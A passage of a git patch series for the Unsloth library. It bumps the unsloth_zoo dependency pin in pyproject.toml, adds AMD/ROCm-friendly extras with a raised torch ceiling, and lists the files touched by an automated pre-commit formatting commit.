'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.6.7", + "unsloth_zoo>=2026.7.1", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.6.7", + "unsloth_zoo>=2026.7.1", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 3f55e7a98c642b0284e80110e789f52f4e169301 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 8 Jul 2026 07:20:22 -0700 Subject: [PATCH 29/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index e25da828d4..29a3c9fe3c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.7.1", + "unsloth_zoo>=2026.7.2", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.7.1", + "unsloth_zoo>=2026.7.2", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.7.1", + "unsloth_zoo>=2026.7.2", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 7beecd279e87dbd5bb5a56d58e57c9e7f01588d5 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 15 Jul 2026 11:43:23 -0700 Subject: [PATCH 30/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 29a3c9fe3c..f8003ec2cf 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.7.2", + "unsloth_zoo>=2026.7.3", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.7.2", + "unsloth_zoo>=2026.7.3", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.7.2", + "unsloth_zoo>=2026.7.3", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From 6c3c01c0c9580ea284cbf4f5b9e3c4f1f0b07631 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Mon, 20 Jul 2026 07:08:29 -0700 Subject: [PATCH 31/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index f8003ec2cf..70a5d77a06 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.7.3", + "unsloth_zoo>=2026.7.4", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -91,7 +91,7 @@ triton = [ "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingface = [ - "unsloth_zoo>=2026.7.3", + "unsloth_zoo>=2026.7.4", "wheel>=0.42.0", "packaging", "torchvision", @@ -488,7 +488,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.7.3", + "unsloth_zoo>=2026.7.4", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", From cd50f9e51deced30e2312f075a3399dea15b43d0 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Tue, 21 Jul 2026 02:44:55 -0700 Subject: [PATCH 32/39] pip: allow torch<2.12 and add amd/huggingfacenotorch extras The released torch>=2.4.0,<2.11.0 pin excludes the AMD 2.11.0+rocm wheel, so a follow-up pip resolve downgrades torch to 2.10.0 and breaks the ROCm install (#7275). Raise the ceiling to <2.12.0 so the ROCm 2.11 wheel is preserved, and add an amd extra (pulls huggingfacenotorch, no torch pin) plus a torch-free huggingfacenotorch extra so AMD users keep their ROCm torch. [pre-commit.ci skip] --- pyproject.toml | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 70a5d77a06..74c94fe24b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -28,7 +28,7 @@ dependencies = [ "unsloth_zoo>=2026.7.4", "wheel>=0.42.0", "packaging", - "torch>=2.4.0,<2.11.0", + "torch>=2.4.0,<2.12.0", "torchvision", "numpy", "tqdm", @@ -115,6 +115,31 @@ huggingface = [ "pyyaml", "nest-asyncio", ] +huggingfacenotorch = [ + "unsloth_zoo>=2026.7.4", + "wheel>=0.42.0", + "packaging", + "numpy", + "tqdm", + "psutil", + "tyro", + "protobuf", + "sentencepiece>=0.2.0", + "datasets>=3.4.1,!=4.0.*,!=4.1.0,<4.4.0", + "accelerate>=0.34.1", + "peft>=0.18.0,!=0.11.0", + "huggingface_hub>=0.34.0", + "hf_transfer", + "diffusers", + "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", + "trl>=0.18.2,!=0.19.0,<=0.24.0", + "sentence-transformers", +] +amd = [ + "unsloth[huggingfacenotorch]", + "bitsandbytes>=0.49.1 ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64' or platform_machine == 'aarch64')", + "bitsandbytes>=0.49.1 ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", +] windows = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0 ; (sys_platform == 'win32')", From 18673a562aec6460d616ff8e8543552831e7f032 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Tue, 21 Jul 2026 23:18:45 +0000 Subject: [PATCH 33/39] [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --- scripts/check_frontend_dep_removal.py | 64 +- scripts/check_new_install_scripts.py | 8 +- scripts/enforce_kwargs_spacing.py | 22 +- scripts/lint_workflow_triggers.py | 8 +- scripts/lockfile_supply_chain_audit.py | 8 +- scripts/notebook_to_python.py | 20 +- scripts/notebook_validator.py | 61 +- scripts/scan_npm_packages.py | 64 +- scripts/scan_packages.py | 144 ++- scripts/stamp_studio_release.py | 12 +- scripts/sync_allow_scripts_pins.py | 24 +- scripts/verify_comment_only_diff.py | 3 +- scripts/verify_import_hoist.py | 34 +- studio/backend/auth/authentication.py | 8 +- studio/backend/auth/storage.py | 16 +- studio/backend/auth/terminal_prompt.py | 14 +- studio/backend/cloudflare_tunnel.py | 8 +- studio/backend/colab.py | 23 +- .../backend/core/data_recipe/huggingface.py | 4 +- .../backend/core/data_recipe/jobs/manager.py | 36 +- studio/backend/core/data_recipe/jobs/parse.py | 33 +- .../backend/core/data_recipe/jobs/worker.py | 16 +- .../data_recipe/local_callable_validators.py | 35 +- studio/backend/core/data_recipe/service.py | 24 +- studio/backend/core/export/export.py | 124 +- studio/backend/core/export/orchestrator.py | 35 +- studio/backend/core/export/worker.py | 32 +- studio/backend/core/import_guards.py | 4 +- studio/backend/core/inference/_html_to_md.py | 20 +- .../backend/core/inference/_vulkan_probe.py | 8 +- .../core/inference/anthropic_compat.py | 20 +- studio/backend/core/inference/api_monitor.py | 7 +- studio/backend/core/inference/audio_codecs.py | 27 +- studio/backend/core/inference/chat_eos.py | 4 +- .../core/inference/chat_template_helpers.py | 26 +- .../core/inference/external_provider.py | 687 +++++++--- studio/backend/core/inference/inference.py | 229 +++- .../backend/core/inference/llama_admission.py | 12 +- studio/backend/core/inference/llama_cpp.py | 1088 ++++++++++++---- .../backend/core/inference/llama_keepwarm.py | 32 +- .../core/inference/llama_server_args.py | 30 +- studio/backend/core/inference/llama_stats.py | 12 +- .../core/inference/local_model_resolver.py | 26 +- studio/backend/core/inference/mcp_client.py | 74 +- .../core/inference/mcp_config_import.py | 38 +- .../backend/core/inference/mlx_inference.py | 73 +- studio/backend/core/inference/orchestrator.py | 93 +- .../core/inference/passthrough_healing.py | 17 +- studio/backend/core/inference/pricing.py | 19 +- .../core/inference/safetensors_agentic.py | 74 +- .../inference/sandbox_site/sitecustomize.py | 4 +- .../core/inference/tool_call_parser.py | 105 +- .../core/inference/tool_loop_controller.py | 8 +- .../core/inference/tool_stream_exec.py | 8 +- studio/backend/core/inference/tools.py | 454 +++++-- studio/backend/core/inference/worker.py | 63 +- studio/backend/core/rag/captioner.py | 12 +- studio/backend/core/rag/chunking.py | 18 +- studio/backend/core/rag/config.py | 4 +- studio/backend/core/rag/embed_llama_server.py | 24 +- studio/backend/core/rag/embeddings.py | 12 +- studio/backend/core/rag/ingestion.py | 56 +- studio/backend/core/rag/locators.py | 8 +- studio/backend/core/rag/parsers.py | 22 +- studio/backend/core/rag/retrieval.py | 21 +- studio/backend/core/rag/store.py | 9 +- studio/backend/core/rag/tool.py | 12 +- studio/backend/core/tool_healing.py | 62 +- studio/backend/core/training/s3_dataset.py | 8 +- studio/backend/core/training/trainer.py | 508 ++++++-- studio/backend/core/training/training.py | 192 ++- studio/backend/core/training/worker.py | 210 ++- studio/backend/hub/routes/datasets.py | 14 +- studio/backend/hub/routes/inventory.py | 8 +- studio/backend/hub/schemas/downloads.py | 4 +- studio/backend/hub/schemas/inventory.py | 16 +- studio/backend/hub/services/__init__.py | 4 +- .../hub/services/datasets/cache_inventory.py | 30 +- .../hub/services/datasets/downloads.py | 40 +- .../hub/services/datasets/formatting.py | 19 +- studio/backend/hub/services/datasets/local.py | 17 +- .../hub/services/download_lifecycle.py | 45 +- .../hub/services/models/cache_inventory.py | 28 +- studio/backend/hub/services/models/common.py | 38 +- .../backend/hub/services/models/deletion.py | 75 +- .../backend/hub/services/models/downloads.py | 39 +- .../hub/services/models/folder_browser.py | 11 +- .../hub/services/models/gguf_variants.py | 92 +- .../hub/services/models/local_inventory.py | 36 +- studio/backend/hub/services/models/ollama.py | 22 +- .../backend/hub/services/snapshot_progress.py | 4 +- .../hub/tests/test_dataset_services.py | 12 +- .../hub/tests/test_download_lifecycle.py | 11 +- .../hub/tests/test_empty_variant_folder.py | 44 +- .../backend/hub/tests/test_model_services.py | 260 +++- studio/backend/hub/utils/dataset_cache.py | 12 +- studio/backend/hub/utils/dataset_format.py | 57 +- studio/backend/hub/utils/download_manifest.py | 12 +- studio/backend/hub/utils/download_registry.py | 59 +- studio/backend/hub/utils/gguf.py | 8 +- studio/backend/hub/utils/gguf_plan.py | 42 +- studio/backend/hub/utils/hf_cache_state.py | 8 +- studio/backend/hub/utils/inventory_scan.py | 12 +- studio/backend/hub/utils/llm_assist.py | 16 +- studio/backend/hub/utils/paths.py | 8 +- studio/backend/hub/utils/state_dir.py | 9 +- studio/backend/hub/workers/hf_download.py | 22 +- studio/backend/loggers/handlers.py | 10 +- studio/backend/main.py | 77 +- studio/backend/mcp_server.py | 16 +- studio/backend/models/auth.py | 12 +- studio/backend/models/data_recipe.py | 4 +- studio/backend/models/export.py | 6 +- studio/backend/models/inference.py | 173 ++- studio/backend/models/mcp_servers.py | 4 +- studio/backend/models/models.py | 60 +- studio/backend/models/providers.py | 16 +- studio/backend/models/responses.py | 12 +- studio/backend/models/training.py | 106 +- .../data_designer_github_repo_seed/scraper.py | 36 +- .../scraper_impl/gh_client.py | 24 +- .../scraper_impl/scraper.py | 86 +- .../chunking.py | 20 +- studio/backend/routes/auth.py | 35 +- studio/backend/routes/chat_history.py | 70 +- studio/backend/routes/data_recipe/jobs.py | 35 +- studio/backend/routes/data_recipe/mcp.py | 4 +- studio/backend/routes/data_recipe/seed.py | 35 +- studio/backend/routes/data_recipe/validate.py | 16 +- studio/backend/routes/datasets.py | 49 +- studio/backend/routes/export.py | 6 +- studio/backend/routes/inference.py | 1148 +++++++++++++---- studio/backend/routes/llama.py | 13 +- studio/backend/routes/mcp_servers.py | 32 +- studio/backend/routes/models.py | 152 ++- studio/backend/routes/preview.py | 22 +- studio/backend/routes/prompts.py | 8 +- studio/backend/routes/providers.py | 12 +- studio/backend/routes/rag.py | 48 +- studio/backend/routes/settings.py | 73 +- studio/backend/routes/training.py | 144 ++- studio/backend/routes/training_history.py | 16 +- studio/backend/routes/training_vram.py | 20 +- studio/backend/run.py | 61 +- studio/backend/state/tool_approvals.py | 4 +- studio/backend/state/tool_policy.py | 4 +- studio/backend/storage/mcp_servers_db.py | 8 +- studio/backend/storage/providers_db.py | 8 +- studio/backend/storage/studio_db.py | 154 ++- .../tests/test_amd_apu_unified_memory.py | 4 +- .../tests/test_anthropic_citations_edge.py | 8 +- .../tests/test_anthropic_code_execution.py | 10 +- .../tests/test_anthropic_compaction.py | 28 +- .../tests/test_anthropic_fast_mode_edge.py | 12 +- .../backend/tests/test_anthropic_messages.py | 174 ++- .../backend/tests/test_anthropic_web_fetch.py | 13 +- studio/backend/tests/test_api_key_expiry.py | 15 +- .../tests/test_audio_token_detection.py | 4 +- .../backend/tests/test_bootstrap_timeout.py | 31 +- studio/backend/tests/test_browse_denylist.py | 26 +- .../backend/tests/test_bypass_permissions.py | 16 +- .../backend/tests/test_cached_gguf_routes.py | 67 +- .../tests/test_capability_detection.py | 82 +- studio/backend/tests/test_chat_attachments.py | 110 +- .../tests/test_chat_eos_template_refresh.py | 95 +- .../backend/tests/test_chat_history_routes.py | 11 +- .../tests/test_chat_history_storage.py | 50 +- .../tests/test_chat_load_during_training.py | 139 +- .../test_chat_template_tool_arguments.py | 4 +- .../backend/tests/test_chat_turn_end_eos.py | 20 +- studio/backend/tests/test_checkpoints_scan.py | 8 +- .../backend/tests/test_cloudflare_tunnel.py | 42 +- .../backend/tests/test_completion_masking.py | 19 +- studio/backend/tests/test_compute_buffer.py | 48 +- studio/backend/tests/test_consent_gate.py | 237 +++- .../tests/test_context_overflow_truncation.py | 18 +- studio/backend/tests/test_cpu_threads.py | 4 +- .../tests/test_data_recipe_pump_resilience.py | 4 +- .../tests/test_datacenter_gpu_tuning.py | 12 +- .../tests/test_dataset_upload_limits.py | 8 +- .../tests/test_deepseek_v4_thinking_effort.py | 20 +- .../tests/test_default_output_dir_name.py | 5 +- studio/backend/tests/test_desktop_auth.py | 41 +- .../backend/tests/test_detect_mmproj_file.py | 9 +- .../test_embedding_model_security_gate.py | 98 +- .../tests/test_embedding_model_settings.py | 8 +- .../tests/test_export_absolute_paths.py | 25 +- .../backend/tests/test_export_capability.py | 10 +- .../tests/test_export_imatrix_compressed.py | 62 +- .../tests/test_export_size_estimate.py | 32 +- .../tests/test_external_provider_proxy_env.py | 4 +- .../test_external_provider_usage_chunk.py | 22 +- studio/backend/tests/test_file_security.py | 44 +- .../backend/tests/test_frontend_resolution.py | 8 +- studio/backend/tests/test_gemini_provider.py | 238 +++- .../test_gemma4_chat_template_override.py | 37 +- .../tests/test_gemma_tool_parse_edge_cases.py | 74 +- .../tests/test_gguf_completion_usage.py | 8 +- .../tests/test_gguf_load_cache_reuse.py | 124 +- studio/backend/tests/test_gguf_metadata.py | 19 +- .../tests/test_gguf_tool_non_streaming.py | 12 +- .../test_gguf_xet_fallback_integration.py | 28 +- studio/backend/tests/test_gpu_memory_mode.py | 83 +- studio/backend/tests/test_gpu_selection.py | 76 +- .../tests/test_gpu_selection_sandbox.py | 4 +- .../backend/tests/test_hf_token_validation.py | 5 +- studio/backend/tests/test_hf_xet_fallback.py | 34 +- studio/backend/tests/test_host_defaults.py | 13 +- studio/backend/tests/test_identity.py | 3 +- .../tests/test_index_bootstrap_loopback.py | 8 +- .../tests/test_index_bootstrap_origin.py | 12 +- .../test_index_bootstrap_origin_extra.py | 4 +- .../test_inference_dispatcher_resilience.py | 18 +- .../tests/test_inference_model_validation.py | 5 +- ...st_inference_orchestrator_crash_message.py | 4 +- .../tests/test_install_resolve_prebuilt.py | 112 +- .../backend/tests/test_kv_cache_estimation.py | 119 +- .../tests/test_linux_external_media_paths.py | 20 +- studio/backend/tests/test_llama_admission.py | 5 +- .../tests/test_llama_cpp_context_fit.py | 42 +- ...test_llama_cpp_effective_parallel_slots.py | 8 +- .../backend/tests/test_llama_cpp_freshness.py | 89 +- .../tests/test_llama_cpp_mmproj_fallback.py | 42 +- .../tests/test_llama_cpp_mtp_detection.py | 56 +- .../tests/test_llama_cpp_props_readback.py | 12 +- .../tests/test_llama_cpp_slot_resume.py | 4 +- ..._llama_cpp_start_failure_classification.py | 15 +- .../tests/test_llama_cpp_stream_cancel.py | 4 +- .../backend/tests/test_llama_cpp_tool_loop.py | 276 +++- studio/backend/tests/test_llama_cpp_update.py | 196 ++- .../tests/test_llama_cpp_vulkan_probe.py | 16 +- .../tests/test_llama_cpp_wait_for_health.py | 9 +- .../test_llama_cpp_wait_for_vram_settle.py | 100 +- .../test_llama_cpp_windows_nvidia_path.py | 8 +- studio/backend/tests/test_llama_route.py | 5 +- .../tests/test_llama_route_timeouts.py | 8 +- .../backend/tests/test_llama_server_args.py | 29 +- studio/backend/tests/test_llama_stats.py | 12 +- .../tests/test_llm_assist_startup_opt_in.py | 8 +- .../test_load_progress_ready_fraction.py | 24 +- .../tests/test_local_llama_cpp_link.py | 4 +- .../backend/tests/test_local_model_format.py | 4 +- .../backend/tests/test_logging_middleware.py | 38 +- studio/backend/tests/test_login_rate_limit.py | 40 +- .../backend/tests/test_mcp_config_import.py | 40 +- .../backend/tests/test_mcp_flatten_result.py | 5 +- studio/backend/tests/test_mcp_server.py | 4 +- studio/backend/tests/test_mcp_servers.py | 160 ++- .../tests/test_mcp_stdio_improvements.py | 24 +- studio/backend/tests/test_mcp_stdio_pr5863.py | 44 +- .../backend/tests/test_mcp_stdio_sessions.py | 94 +- studio/backend/tests/test_middleware.py | 12 +- .../tests/test_mlx_inference_backend.py | 88 +- studio/backend/tests/test_mlx_repair.py | 25 +- .../tests/test_mlx_training_worker_config.py | 27 +- studio/backend/tests/test_model_ids.py | 5 +- .../tests/test_model_update_robustness.py | 78 +- ...models_get_model_config_case_resolution.py | 8 +- .../tests/test_mtp_drafter_companion.py | 32 +- .../backend/tests/test_mtp_mla_target_ctx.py | 8 +- studio/backend/tests/test_mtp_vram_budget.py | 200 ++- .../backend/tests/test_multimodal_document.py | 14 +- .../test_namespace_shadow_guard_pr6269.py | 4 +- .../tests/test_native_context_length.py | 20 +- .../test_native_template_trust_remote_code.py | 8 +- .../tests/test_nvfp4_load_error_message.py | 22 +- .../tests/test_offline_gguf_cache_fallback.py | 178 ++- .../tests/test_offline_inference_parent.py | 4 +- .../backend/tests/test_openai_auto_switch.py | 404 ++++-- studio/backend/tests/test_openai_catalog.py | 8 +- .../test_openai_citation_markers_edge.py | 4 +- .../tests/test_openai_code_execution.py | 10 +- .../tests/test_openai_container_crud.py | 4 +- .../test_openai_responses_translation.py | 6 +- .../tests/test_openai_tool_passthrough.py | 682 +++++++--- .../tests/test_orchestrator_unload_cancel.py | 261 +++- .../backend/tests/test_passthrough_healing.py | 134 +- studio/backend/tests/test_password_prompt.py | 8 +- .../tests/test_password_prompt_backstop.py | 68 +- studio/backend/tests/test_permission_mode.py | 578 +++++++-- .../tests/test_personalization_settings.py | 97 +- .../backend/tests/test_pr5624_regressions.py | 115 +- studio/backend/tests/test_presence_penalty.py | 4 +- studio/backend/tests/test_preview_routes.py | 13 +- .../tests/test_preview_sharing_settings.py | 8 +- studio/backend/tests/test_preview_token.py | 4 +- studio/backend/tests/test_pricing.py | 16 +- studio/backend/tests/test_pricing_edge.py | 8 +- studio/backend/tests/test_process_lifetime.py | 12 +- studio/backend/tests/test_providers_api.py | 52 +- studio/backend/tests/test_rag_captioning.py | 57 +- studio/backend/tests/test_rag_chunking.py | 8 +- .../tests/test_rag_embed_llama_server.py | 64 +- studio/backend/tests/test_rag_embeddings.py | 16 +- studio/backend/tests/test_rag_ingestion.py | 26 +- .../test_rag_job_events_queue_lifecycle.py | 8 +- .../tests/test_rag_loopback_trust_env.py | 10 +- studio/backend/tests/test_rag_ocr_fallback.py | 24 +- studio/backend/tests/test_rag_parsing.py | 18 +- studio/backend/tests/test_rag_preview.py | 16 +- .../tests/test_rag_reconcile_orphaned.py | 10 +- studio/backend/tests/test_rag_retrieval.py | 66 +- studio/backend/tests/test_rag_store.py | 12 +- .../backend/tests/test_rag_whole_document.py | 167 ++- .../test_recommended_folders_has_model.py | 3 +- .../tests/test_response_template_markers.py | 32 +- studio/backend/tests/test_responses_api.py | 4 +- .../tests/test_responses_tool_passthrough.py | 210 ++- studio/backend/tests/test_rocm_oom_guard.py | 4 +- .../tests/test_rocm_windows_vram_7072.py | 121 +- studio/backend/tests/test_s3_dataset.py | 4 +- .../test_safetensors_capability_advertise.py | 52 +- .../test_safetensors_reasoning_stream.py | 31 +- .../tests/test_safetensors_tool_loop.py | 547 ++++++-- .../tests/test_safetensors_toolcall_wiring.py | 12 +- .../tests/test_sandbox_sitecustomize.py | 40 +- studio/backend/tests/test_sandbox_tools.py | 13 +- .../tests/test_secure_tools_execute.py | 29 +- .../backend/tests/test_secure_tunnel_gate.py | 8 +- .../tests/test_security_gate_consistency.py | 16 +- .../backend/tests/test_server_disk_logging.py | 4 +- .../tests/test_setup_cache_env_hf_home.py | 8 +- .../tests/test_setup_llama_cpp_backend.py | 8 +- .../tests/test_sf_client_tools_passthrough.py | 78 +- .../test_shutdown_preserves_live_worker.py | 4 +- studio/backend/tests/test_slot_offload_fit.py | 4 +- studio/backend/tests/test_ssm_runtime.py | 61 +- .../tests/test_startup_banner_loopback.py | 12 +- studio/backend/tests/test_studio_api.py | 51 +- studio/backend/tests/test_tensor_parallel.py | 113 +- .../tests/test_think_prefill_reemit.py | 10 +- studio/backend/tests/test_tool_approvals.py | 4 +- .../tests/test_tool_call_parser_strict.py | 254 +++- .../backend/tests/test_tool_confirm_loop.py | 4 +- .../backend/tests/test_tool_confirm_stream.py | 12 +- .../tests/test_tool_loop_controller.py | 47 +- .../tests/test_tool_output_streaming.py | 53 +- studio/backend/tests/test_tool_strip_guard.py | 10 +- studio/backend/tests/test_tool_xml_strip.py | 95 +- studio/backend/tests/test_torchao_select.py | 8 +- .../tests/test_torchao_stub_worker_parity.py | 9 +- .../tests/test_tp_vision_regression.py | 67 +- .../backend/tests/test_trained_model_scan.py | 47 +- .../tests/test_training_before_spawn.py | 28 +- .../test_training_config_popover_source.py | 4 +- .../backend/tests/test_training_preflight.py | 48 +- .../test_training_progress_prep_timeout.py | 28 +- .../test_training_progress_stream_nan.py | 12 +- .../tests/test_training_pump_resilience.py | 8 +- .../tests/test_training_raw_support.py | 9 +- studio/backend/tests/test_training_resume.py | 8 +- studio/backend/tests/test_training_runs.py | 27 +- .../tests/test_training_stop_watchdog.py | 88 +- .../backend/tests/test_training_streaming.py | 41 +- .../tests/test_training_vram_coexistence.py | 56 +- .../tests/test_training_worker_flash_attn.py | 204 ++- .../tests/test_training_xet_fallback.py | 14 +- .../backend/tests/test_transformers_latest.py | 93 +- .../tests/test_transformers_version.py | 328 +++-- .../backend/tests/test_trc_approval_cache.py | 40 +- studio/backend/tests/test_utils.py | 16 +- .../test_validate_gguf_runtime_message.py | 40 +- .../tests/test_validate_model_error.py | 62 +- studio/backend/tests/test_vision_cache.py | 70 +- studio/backend/tests/test_vram_estimation.py | 80 +- .../tests/test_web_fetch_binary_guard.py | 51 +- .../tests/test_web_fetch_extraction.py | 34 +- .../test_windows_external_drive_paths.py | 30 +- .../tests/test_windows_gpu_detection_mock.py | 40 +- ...t_worker_activates_correct_transformers.py | 4 +- .../test_yaml_trust_remote_code_removed.py | 20 +- studio/backend/utils/api_errors.py | 14 +- studio/backend/utils/cache_cleanup.py | 3 +- studio/backend/utils/client_ip.py | 6 +- studio/backend/utils/coding_agents.py | 9 +- .../utils/datasets/completion_masking.py | 4 +- .../backend/utils/datasets/data_collators.py | 16 +- .../utils/datasets/dataset_none_detect.py | 67 +- .../backend/utils/datasets/dataset_utils.py | 62 +- .../utils/datasets/format_conversion.py | 56 +- .../utils/datasets/format_detection.py | 46 +- studio/backend/utils/datasets/llm_assist.py | 42 +- studio/backend/utils/datasets/raw_text.py | 3 +- .../backend/utils/datasets/vlm_processing.py | 4 +- studio/backend/utils/downsample.py | 4 +- studio/backend/utils/hardware/amd.py | 31 +- studio/backend/utils/hardware/apple.py | 37 +- studio/backend/utils/hardware/hardware.py | 108 +- studio/backend/utils/hardware/nvidia.py | 23 +- .../backend/utils/hardware/vram_estimation.py | 109 +- studio/backend/utils/hf_token_validation.py | 4 +- studio/backend/utils/hidden_models.py | 7 +- .../utils/inference/inference_config.py | 5 +- studio/backend/utils/llama_cpp_freshness.py | 12 +- studio/backend/utils/llama_cpp_update.py | 32 +- studio/backend/utils/mlx_repair.py | 8 +- studio/backend/utils/models/checkpoints.py | 8 +- studio/backend/utils/models/gguf_metadata.py | 4 +- studio/backend/utils/models/model_config.py | 137 +- studio/backend/utils/native_path_leases.py | 36 +- .../utils/openai_auto_switch_settings.py | 8 +- studio/backend/utils/paths/external_media.py | 4 +- studio/backend/utils/paths/storage_roots.py | 15 +- studio/backend/utils/process_lifetime.py | 30 +- studio/backend/utils/security/consent.py | 33 +- .../backend/utils/security/file_security.py | 36 +- .../utils/security/remote_code_approvals.py | 18 +- .../utils/security/remote_code_scan.py | 32 +- studio/backend/utils/security/trusted_org.py | 8 +- studio/backend/utils/ssm_runtime.py | 39 +- studio/backend/utils/studio_version.py | 4 +- studio/backend/utils/training_runs.py | 9 +- studio/backend/utils/transformers_latest.py | 26 +- studio/backend/utils/transformers_version.py | 237 +++- studio/backend/utils/update_status.py | 25 +- studio/backend/utils/utils.py | 8 +- studio/backend/utils/uv_path_safety.py | 4 +- studio/backend/utils/wheel_utils.py | 8 +- studio/install_llama_prebuilt.py | 698 +++++++--- studio/install_node_prebuilt.py | 132 +- studio/install_python_stack.py | 104 +- tests/_zoo_rocm_spoof.py | 10 +- tests/python/conftest.py | 8 +- tests/python/test_change_system_message.py | 4 +- ...test_construct_chat_template_validation.py | 12 +- .../test_cpo_processor_text_tokenizer.py | 10 +- tests/python/test_cross_platform_parity.py | 64 +- tests/python/test_e2e_no_torch_sandbox.py | 64 +- .../test_fast_language_model_text_only.py | 19 +- .../test_fast_model_config_passthrough.py | 11 +- ...t_sentence_transformer_embedding_parity.py | 16 +- ...sentence_transformer_redirect_lifecycle.py | 12 +- .../test_flash_attn_install_python_stack.py | 24 +- ...get_lora_parameters_bias_fp8_block_size.py | 4 +- ...test_get_lora_parameters_fp8_block_size.py | 4 +- tests/python/test_gpu_init_ldconfig_guard.py | 4 +- tests/python/test_grpo_ddp_model_config.py | 8 +- tests/python/test_install_python_stack.py | 12 +- tests/python/test_mlx_public_trainer_api.py | 8 +- tests/python/test_no_torch_filtering.py | 84 +- .../test_remove_special_tokens_no_bos.py | 4 +- tests/python/test_studio_import_no_torch.py | 35 +- .../python/test_to_sharegpt_optional_none.py | 8 +- .../test_tokenizers_and_torch_constraint.py | 57 +- .../test_unsloth_run_tool_policy_resolver.py | 4 +- tests/python/test_v100_fullft_precision.py | 18 +- tests/python/test_vision_lora_targeting.py | 16 +- tests/qlora/test_hf_qlora_train_and_merge.py | 4 +- .../saving/gpt-oss-merge/test_merged_model.py | 8 +- tests/saving/gpt-oss-merge/train_and_merge.py | 8 +- .../test_merge_4bit_validation.py | 8 +- .../test_merge_model_perplexity_llama-3.2.py | 20 +- .../test_merge_model_perplexity_mistral.py | 22 +- .../test_merge_model_perplexity_phi_4.py | 20 +- ...st_merged_model_perplexity_llama-3.1-8b.py | 20 +- .../test_merged_model_perplexity_qwen_2.5.py | 12 +- .../test_push_to_hub_merged.py | 8 +- ...t_push_to_hub_merged_sharded_index_file.py | 8 +- .../test_save_merged_grpo_model.py | 29 +- .../saving/test_compressed_export_schemes.py | 27 +- tests/saving/test_export_api_surface.py | 22 +- tests/saving/test_export_dispatch.py | 28 +- .../test_fix_sentencepiece_gguf_robustness.py | 9 +- .../test_fix_sentencepiece_tokenizer_guard.py | 51 +- .../saving/test_gguf_export_and_inference.py | 45 +- tests/saving/test_gguf_single_pass_export.py | 16 +- tests/saving/test_imatrix_export.py | 16 +- 